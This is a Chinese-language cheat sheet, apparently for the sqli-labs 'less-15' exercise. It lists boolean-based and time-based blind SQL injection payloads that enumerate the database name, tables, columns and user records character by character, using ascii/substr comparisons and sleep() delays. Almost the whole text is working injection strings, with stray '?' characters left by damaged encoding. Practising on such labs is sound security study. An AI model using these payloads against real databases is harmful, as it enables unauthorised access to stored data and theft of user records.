[大数据]less-15 布尔盲注

布尔盲注

1 ' ?or length(database()) >4 # 判断数据库长度
1' or length(database())>4 #
利用二分法来确定数据库名称 ? 1 ' or left(database(),1)='s' #?
利用ascii码来确定 ? ? ? ? ? ?1' or ascii(substr((select database()),1,1)) > 100 #
1' or (select(length(table_name)) from informationschema.tables where table_schema ='database()' ?limit 0,1) > 8 ?

1' or (select count(*) from information_schema.tables where table_schema='database()')=4# ? ? ? ? ? 判断有多少表

1' or length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1 # ? ? ? ? 判断表的长度

1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=101# ?判断表的名字

1' or (select count(*) from information_schema.columns where table_schema="security" and table_name="users")=3# ? ? ? ? ?判断表中的字段数 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

1' or length((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1))=2# ? 判断字段的长度

1' or ascii(substr((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1),1,1))=1# ?判断字段的名字

1' or (select count(*) from users)=13# ?判断表中的用户的个数

1' or length((select username from users limit 0,1))=num# ? 用户的长度

1' or ascii(substr((select username from users limit 0,1),1,1))=68# ? 用户的值

时间盲注

1" and if(length(database())>4,sleep(2),null) ?--+ ? 判断数据库长度

1" and if(ascii(substring(database(),1,1)>100),sleep(3),null) --+ ?判断数据库名字

1" and if((select count(*) from information_schema.tables where table_schema='security')=4 ,sleep(3),null) --+ ?判断有多少张表

1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),null) --+ ?判断表的长度
?
1" and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(3),null)--+ ? ?判断表的名字

1" and if((select count(*) from information_schema.columns where table_schema="security" and table_name="users")=3,sleep(3),null) --+ ? ?判断字段数

1" and if(length((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1))=2,sleep(3),null) --+ ?判断字段长度

1" and ? if(ascii(substring((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))>100,sleep(3),null) --+ ?判断字段名

1" and ?if((select count(*) from users)=13,sleep(3),null) --+ ?判断用户个数

1" and if(length((select username from users limit 0,1))=num,sleep(3),null) ?--+ 判断用户的长度
?
1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(3),null) --+ ?判断用户的值
?